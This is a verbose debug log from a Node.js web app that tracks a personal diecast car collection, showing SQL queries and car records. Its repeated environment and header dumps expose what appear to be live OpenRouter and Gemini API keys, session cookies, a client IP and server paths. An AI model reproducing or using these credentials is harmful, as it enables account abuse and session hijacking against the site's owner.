  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:03:35.987Z server-connect:app Executing action step select
2026-02-04T07:03:35.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:35.988Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:03:36.283Z server-connect:router Serving templateView /
2026-02-04T07:03:36.283Z server-connect:app Executing action step identify
2026-02-04T07:03:36.283Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:36.283Z server-connect:output identity: 1
2026-02-04T07:03:36.283Z server-connect:app Executing action step restrict
2026-02-04T07:03:36.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:36.284Z server-connect:output restrict: undefined
2026-02-04T07:03:36.284Z server-connect:app Executing action step restrict
2026-02-04T07:03:36.284Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:36.284Z server-connect:output restrict: undefined
2026-02-04T07:03:36.284Z server-connect:router Render template layouts/main
2026-02-04T07:03:36.284Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:45.218Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:03:45.218Z server-connect:app Executing action step identify
2026-02-04T07:03:45.218Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:45.218Z server-connect:output identity: 1
2026-02-04T07:03:45.218Z server-connect:app Executing action step restrict
2026-02-04T07:03:45.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:45.219Z server-connect:output restrict: undefined
2026-02-04T07:03:45.219Z server-connect:app Executing action step condition
2026-02-04T07:03:45.219Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:03:45.219Z server-connect:app Executing action step update
2026-02-04T07:03:45.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:03:45.220Z server-connect:output update: { affected: 1 }
2026-02-04T07:03:45.220Z server-connect:app Executing action step upload
2026-02-04T07:03:45.220Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:03:45.220Z server-connect:output upload_image: []
2026-02-04T07:03:45.220Z server-connect:app Executing action step repeat
2026-02-04T07:03:45.220Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:03:45.220Z server-connect:output repeat_images: []
2026-02-04T07:03:45.220Z server-connect:output condition: undefined
2026-02-04T07:03:45.530Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:45.530Z server-connect:app Executing action step identify
2026-02-04T07:03:45.530Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:45.530Z server-connect:output identity: 1
2026-02-04T07:03:45.531Z server-connect:app Executing action step restrict
2026-02-04T07:03:45.531Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:45.531Z server-connect:output restrict: undefined
2026-02-04T07:03:45.531Z server-connect:app Executing action step paged
2026-02-04T07:03:45.531Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:45.534Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:45.845Z server-connect:router Serving templateView /
2026-02-04T07:03:45.846Z server-connect:app Executing action step identify
2026-02-04T07:03:45.846Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:45.846Z server-connect:output identity: 1
2026-02-04T07:03:45.846Z server-connect:app Executing action step restrict
2026-02-04T07:03:45.846Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:45.846Z server-connect:output restrict: undefined
2026-02-04T07:03:45.846Z server-connect:app Executing action step restrict
2026-02-04T07:03:45.846Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:45.846Z server-connect:output restrict: undefined
2026-02-04T07:03:45.847Z server-connect:router Render template layouts/main
2026-02-04T07:03:45.847Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
